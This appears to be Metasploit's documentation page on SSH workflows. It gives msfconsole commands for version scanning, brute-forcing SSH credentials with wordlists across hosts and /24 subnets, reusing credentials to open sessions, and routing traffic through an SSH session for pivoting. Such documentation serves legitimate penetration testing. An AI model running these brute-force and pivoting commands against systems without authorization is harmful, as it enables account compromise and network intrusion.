adfoster-r7
87 lines
2.0 KiB
Markdown
87 lines
2.0 KiB
Markdown
## SSH Workflows
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SSH, also known as Secure Shell or Secure Socket Shell, is frequently found on port 22/TCP. The protocol allows for SSH clients to securely connect to a running SSH server to execute commands against, the protocol also supports tunneling network traffic - which Metasploit can leverage for pivoting purposes.
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Metasploit has support for multiple SSH modules, including:
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- Version enumeration
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- Verifying/bruteforcing credentials
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- Opening sessions
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- Pivoting support
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There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
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```
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msf6 > search ssh
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```
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### SSH Enumeration
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Enumerate SSH version:
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```
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use auxiliary/scanner/ssh/ssh_version
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run ssh://127.0.0.1
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```
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### SSH Bruteforce
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Brute-force host with known user and password list:
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```
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use scanner/ssh/ssh_login
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run ssh://known_user@192.168.222.1 threads=50 pass_file=./wordlist.txt
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```
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Brute-force credentials:
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```
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use scanner/ssh/ssh_login
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run ssh://192.168.222.1 threads=50 user_file=./users.txt pass_file=./wordlist.txt
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```
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Brute-force credentials in a subnet:
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```
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use scanner/ssh/ssh_login
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run cidr:/24:ssh://user:pass@192.168.222.0 threads=50
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run cidr:/24:ssh://user@192.168.222.0 threads=50 pass_file=./wordlist.txt
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```
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### SSH Login
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If you have valid SSH credentials the `ssh_login` module will open a Metasploit session for you:
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```
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use scanner/ssh/ssh_login
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run ssh://user:pass@172.18.102.20
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```
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Re-using SSH credentials in a subnet:
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```
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use scanner/ssh/ssh_login
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run cidr:/24:ssh://user:pass@192.168.222.0 threads=50
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```
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Using an alternative port:
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```
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use scanner/ssh/ssh_login
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run ssh://user:pass@192.168.123.6:2222
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```
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### SSH Pivoting
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Like Meterpreter, it is possible to [port forward through a Metasploit SSH session](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/scanner/ssh/ssh_login.md#session-capabilities):
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```
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route add 172.18.103.0/24 ssh_session_id
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```
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To a route for the most recently opened Meterpreter session:
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```
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route add 172.18.103.0/24 -1
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```
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